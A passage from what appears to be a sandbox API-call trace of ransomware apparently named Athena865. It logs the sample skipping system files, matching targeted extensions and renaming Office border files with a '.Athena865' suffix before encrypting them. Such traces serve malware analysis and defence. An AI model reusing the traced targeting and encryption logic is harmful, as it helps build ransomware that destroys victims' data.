lpString2="v12") returned -1 [0151.831] lstrlenW (lpString="vis") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="vis") returned -1 [0151.831] lstrlenW (lpString="vpd") returned 3 [0151.831] lstrcmpiW (lpString1="BDR", lpString2="vpd") returned -1 [0151.831] lstrlenW (lpString="vvv") returned 3 [0151.832] lstrcmpiW (lpString1="BDR", lpString2="vvv") returned -1 [0151.832] lstrlenW (lpString="wdb") returned 3 [0151.832] lstrcmpiW (lpString1="BDR", lpString2="wdb") returned -1 [0151.832] lstrlenW (lpString="wmdb") returned 4 [0151.832] lstrcmpiW (lpString1=".BDR", lpString2="wmdb") returned -1 [0151.832] lstrlenW (lpString="wrk") returned 3 [0151.832] lstrcmpiW (lpString1="BDR", lpString2="wrk") returned -1 [0151.832] lstrlenW (lpString="xdb") returned 3 [0151.832] lstrcmpiW (lpString1="BDR", lpString2="xdb") returned -1 [0151.832] lstrlenW (lpString="xld") returned 3 [0151.832] lstrcmpiW (lpString1="BDR", lpString2="xld") returned -1 [0151.832] lstrlenW (lpString="xmlff") returned 5 [0151.832] lstrcmpiW (lpString1="1.BDR", lpString2="xmlff") returned -1 [0151.832] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.Athena865") returned 71 [0151.832] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.athena865"), dwFlags=0x1) returned 1 [0151.833] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.834] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=32246) returned 1 [0151.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.834] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.834] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.835] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.835] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.835] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x8100, lpName=0x0) returned 0x17c [0151.837] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x8100) returned 0x100000 [0151.839] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.840] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.840] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.840] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.840] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.841] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.841] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.841] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.841] CloseHandle (hObject=0x17c) returned 1 [0151.841] CloseHandle (hObject=0x154) returned 1 [0151.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.842] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.842] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x244c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART10.BDR", cAlternateFileName="")) returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2=".") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="..") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="windows") returned -1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="bootmgr") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="temp") returned -1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="pagefile.sys") returned -1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="boot") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="ids.txt") returned 1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="ntuser.dat") returned -1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="perflogs") returned -1 [0151.842] lstrcmpiW (lpString1="MSART10.BDR", lpString2="MSBuild") returned -1 [0151.842] lstrlenW (lpString="MSART10.BDR") returned 11 [0151.843] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART10.BDR" | out: lpString1="MSART10.BDR") returned="MSART10.BDR" [0151.843] lstrlenW (lpString="MSART10.BDR") returned 11 [0151.843] lstrlenW (lpString="Athena865") returned 9 [0151.843] lstrcmpiW (lpString1="ART10.BDR", lpString2="Athena865") returned -1 [0151.843] lstrlenW (lpString=".dll") returned 4 [0151.843] lstrcmpiW (lpString1="MSART10.BDR", lpString2=".dll") returned 1 [0151.843] lstrlenW (lpString=".lnk") returned 4 [0151.843] lstrcmpiW (lpString1="MSART10.BDR", lpString2=".lnk") returned 1 [0151.843] lstrlenW (lpString=".ini") returned 4 [0151.843] lstrcmpiW (lpString1="MSART10.BDR", lpString2=".ini") returned 1 [0151.843] lstrlenW (lpString=".sys") returned 4 [0151.843] lstrcmpiW (lpString1="MSART10.BDR", lpString2=".sys") returned 1 [0151.843] lstrlenW (lpString="MSART10.BDR") returned 11 [0151.843] lstrlenW (lpString="bak") returned 3 [0151.843] lstrcmpiW (lpString1="BDR", lpString2="bak") returned 1 [0151.843] lstrlenW (lpString="ba_") returned 3 [0151.843] lstrcmpiW (lpString1="BDR", lpString2="ba_") returned 1 [0151.843] lstrlenW (lpString="dbb") returned 3 [0151.843] lstrcmpiW (lpString1="BDR", lpString2="dbb") returned -1 [0151.843] lstrlenW (lpString="vmdk") returned 4 [0151.843] lstrcmpiW (lpString1=".BDR", lpString2="vmdk") returned -1 [0151.843] lstrlenW (lpString="rar") returned 3 [0151.843] lstrcmpiW (lpString1="BDR", lpString2="rar") returned -1 [0151.843] lstrlenW (lpString="zip") returned 3 [0151.843] lstrcmpiW (lpString1="BDR", lpString2="zip") returned -1 [0151.843] lstrlenW (lpString="tgz") returned 3 [0151.843] lstrcmpiW (lpString1="BDR", lpString2="tgz") returned -1 [0151.843] lstrlenW (lpString="vbox") returned 4 [0151.844] lstrcmpiW (lpString1=".BDR", lpString2="vbox") returned -1 [0151.844] lstrlenW (lpString="vdi") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="vdi") returned -1 [0151.844] lstrlenW (lpString="vhd") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="vhd") returned -1 [0151.844] lstrlenW (lpString="vhdx") returned 4 [0151.844] lstrcmpiW (lpString1=".BDR", lpString2="vhdx") returned -1 [0151.844] lstrlenW (lpString="avhd") returned 4 [0151.844] lstrcmpiW (lpString1=".BDR", lpString2="avhd") returned -1 [0151.844] lstrlenW (lpString="db") returned 2 [0151.844] lstrcmpiW (lpString1="DR", lpString2="db") returned 1 [0151.844] lstrlenW (lpString="db2") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="db2") returned -1 [0151.844] lstrlenW (lpString="db3") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="db3") returned -1 [0151.844] lstrlenW (lpString="dbf") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="dbf") returned -1 [0151.844] lstrlenW (lpString="mdf") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="mdf") returned -1 [0151.844] lstrlenW (lpString="mdb") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="mdb") returned -1 [0151.844] lstrlenW (lpString="sql") returned 3 [0151.844] lstrcmpiW (lpString1="BDR", lpString2="sql") returned -1 [0151.844] lstrlenW (lpString="sqlite") returned 6 [0151.844] lstrcmpiW (lpString1="10.BDR", lpString2="sqlite") returned -1 [0151.844] lstrlenW (lpString="sqlite3") returned 7 [0151.844] lstrcmpiW (lpString1="T10.BDR", lpString2="sqlite3") returned 1 [0151.844] lstrlenW (lpString="sqlitedb") returned 8 [0151.844] lstrcmpiW (lpString1="RT10.BDR", lpString2="sqlitedb") returned -1 [0151.845] lstrlenW (lpString="xml") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="xml") returned -1 [0151.845] lstrlenW (lpString="$er") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="$er") returned 1 [0151.845] lstrlenW (lpString="4dd") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="4dd") returned 1 [0151.845] lstrlenW (lpString="4dl") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="4dl") returned 1 [0151.845] lstrlenW (lpString="^^^") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="^^^") returned 1 [0151.845] lstrlenW (lpString="abs") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="abs") returned 1 [0151.845] lstrlenW (lpString="abx") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="abx") returned 1 [0151.845] lstrlenW (lpString="accdb") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accdb") returned -1 [0151.845] lstrlenW (lpString="accdc") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accdc") returned -1 [0151.845] lstrlenW (lpString="accde") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accde") returned -1 [0151.845] lstrlenW (lpString="accdr") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accdr") returned -1 [0151.845] lstrlenW (lpString="accdt") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accdt") returned -1 [0151.845] lstrlenW (lpString="accdw") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accdw") returned -1 [0151.845] lstrlenW (lpString="accft") returned 5 [0151.845] lstrcmpiW (lpString1="0.BDR", lpString2="accft") returned -1 [0151.845] lstrlenW (lpString="adb") returned 3 [0151.845] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.846] lstrlenW (lpString="adb") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="adb") returned 1 [0151.846] lstrlenW (lpString="ade") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="ade") returned 1 [0151.846] lstrlenW (lpString="adf") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="adf") returned 1 [0151.846] lstrlenW (lpString="adn") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="adn") returned 1 [0151.846] lstrlenW (lpString="adp") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="adp") returned 1 [0151.846] lstrlenW (lpString="alf") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="alf") returned 1 [0151.846] lstrlenW (lpString="ask") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="ask") returned 1 [0151.846] lstrlenW (lpString="btr") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="btr") returned -1 [0151.846] lstrlenW (lpString="cat") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="cat") returned -1 [0151.846] lstrlenW (lpString="cdb") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="cdb") returned -1 [0151.846] lstrlenW (lpString="ckp") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="ckp") returned -1 [0151.846] lstrlenW (lpString="cma") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="cma") returned -1 [0151.846] lstrlenW (lpString="cpd") returned 3 [0151.846] lstrcmpiW (lpString1="BDR", lpString2="cpd") returned -1 [0151.846] lstrlenW (lpString="dacpac") returned 6 [0151.846] lstrcmpiW (lpString1="10.BDR", lpString2="dacpac") returned -1 [0151.847] lstrlenW (lpString="dad") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dad") returned -1 [0151.847] lstrlenW (lpString="dadiagrams") returned 10 [0151.847] lstrcmpiW (lpString1="SART10.BDR", lpString2="dadiagrams") returned 1 [0151.847] lstrlenW (lpString="daschema") returned 8 [0151.847] lstrcmpiW (lpString1="RT10.BDR", lpString2="daschema") returned 1 [0151.847] lstrlenW (lpString="db-journal") returned 10 [0151.847] lstrcmpiW (lpString1="SART10.BDR", lpString2="db-journal") returned 1 [0151.847] lstrlenW (lpString="db-shm") returned 6 [0151.847] lstrcmpiW (lpString1="10.BDR", lpString2="db-shm") returned -1 [0151.847] lstrlenW (lpString="db-wal") returned 6 [0151.847] lstrcmpiW (lpString1="10.BDR", lpString2="db-wal") returned -1 [0151.847] lstrlenW (lpString="dbc") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dbc") returned -1 [0151.847] lstrlenW (lpString="dbs") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dbs") returned -1 [0151.847] lstrlenW (lpString="dbt") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dbt") returned -1 [0151.847] lstrlenW (lpString="dbv") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dbv") returned -1 [0151.847] lstrlenW (lpString="dbx") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dbx") returned -1 [0151.847] lstrlenW (lpString="dcb") returned 3 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dcb") returned -1 [0151.847] lstrcmpiW (lpString1="BDR", lpString2="dct") returned -1 [0151.848] lstrcmpiW (lpString1="BDR", lpString2="dcx") returned -1 [0151.848] lstrcmpiW (lpString1="BDR", lpString2="ddl") returned -1 [0151.848] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.Athena865") returned 72 [0151.848] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.athena865"), dwFlags=0x1) returned 1 [0151.849] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART10.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart10.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.849] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=9292) returned 1 [0151.849] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.850] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.850] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.851] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.851] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.851] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2750, lpName=0x0) returned 0x17c [0151.852] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2750) returned 0x100000 [0151.854] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.854] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.854] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.855] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534f48 [0151.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534f48 | out: hHeap=0x4f0000) returned 1 [0151.855] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.855] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.856] CloseHandle (hObject=0x17c) returned 1 [0151.856] CloseHandle (hObject=0x154) returned 1 [0151.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.856] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.856] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x58b4ce70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0x78c8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART11.BDR", cAlternateFileName="")) returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2=".") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="..") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="windows") returned -1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="bootmgr") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="temp") returned -1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="pagefile.sys") returned -1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="boot") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="ids.txt") returned 1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="ntuser.dat") returned -1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="perflogs") returned -1 [0151.856] lstrcmpiW (lpString1="MSART11.BDR", lpString2="MSBuild") returned -1 [0151.857] lstrlenW (lpString="MSART11.BDR") returned 11 [0151.857] lstrcpyW (in: lpString1=0x241e8ae, lpString2="MSART11.BDR" | out: lpString1="MSART11.BDR") returned="MSART11.BDR" [0151.857] lstrlenW (lpString="MSART11.BDR") returned 11 [0151.857] lstrlenW (lpString="Athena865") returned 9 [0151.857] lstrcmpiW (lpString1="ART11.BDR", lpString2="Athena865") returned -1 [0151.857] lstrlenW (lpString=".dll") returned 4 [0151.857] lstrcmpiW (lpString1="MSART11.BDR", lpString2=".dll") returned 1 [0151.857] lstrlenW (lpString=".lnk") returned 4 [0151.857] lstrcmpiW (lpString1="MSART11.BDR", lpString2=".lnk") returned 1 [0151.857] lstrlenW (lpString=".ini") returned 4 [0151.857] lstrcmpiW (lpString1="MSART11.BDR", lpString2=".ini") returned 1 [0151.857] lstrlenW (lpString=".sys") returned 4 [0151.857] lstrcmpiW (lpString1="MSART11.BDR", lpString2=".sys") returned 1 [0151.857] lstrlenW (lpString="MSART11.BDR") returned 11 [0151.857] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.Athena865") returned 72 [0151.857] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.athena865"), dwFlags=0x1) returned 1 [0151.860] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART11.BDR.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart11.bdr.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0151.860] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=30920) returned 1 [0151.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0151.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0151.860] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ef68 [0151.860] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54eff0) returned 1 [0151.861] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0151.861] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.861] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7bd0, lpName=0x0) returned 0x17c [0151.863] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7bd0) returned 0x100000 [0151.865] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54eff0) returned 1 [0151.865] CryptGenRandom (in: hProv=0x54eff0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0151.865] CryptReleaseContext (hProv=0x54eff0, dwFlags=0x0) returned 1 [0151.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0151.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0151.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0151.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0151.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0151.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0151.866] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x534d20 [0151.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0151.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x534d20 | out: hHeap=0x4f0000) returned 1 [0151.866] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0151.866] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0151.867] CloseHandle (hObject=0x17c) returned 1 [0151.867] CloseHandle (hObject=0x154) returned 1 [0151.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0151.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54ef68 | out: hHeap=0x4f0000) returned 1 [0151.867] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x29a0020 | out: hHeap=0x4f0000) returned 1 [0151.867] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8e533000, ftCreationTime.dwHighDateTime=0x1bc8d39, ftLastAccessTime.dwLowDateTime=0x69dc9750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8e533000, ftLastWriteTime.dwHighDateTime=0x1bc8d39, nFileSizeHigh=0x0, nFileSizeLow=0xe584, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSART12.BDR", cAlternateFileName="")) returned 1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2=".") returned 1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="..") returned 1 [0151.867] lstrcmpiW (lpString1="MSART12.BDR", lpString2="windows") returned -1 [0151.867] 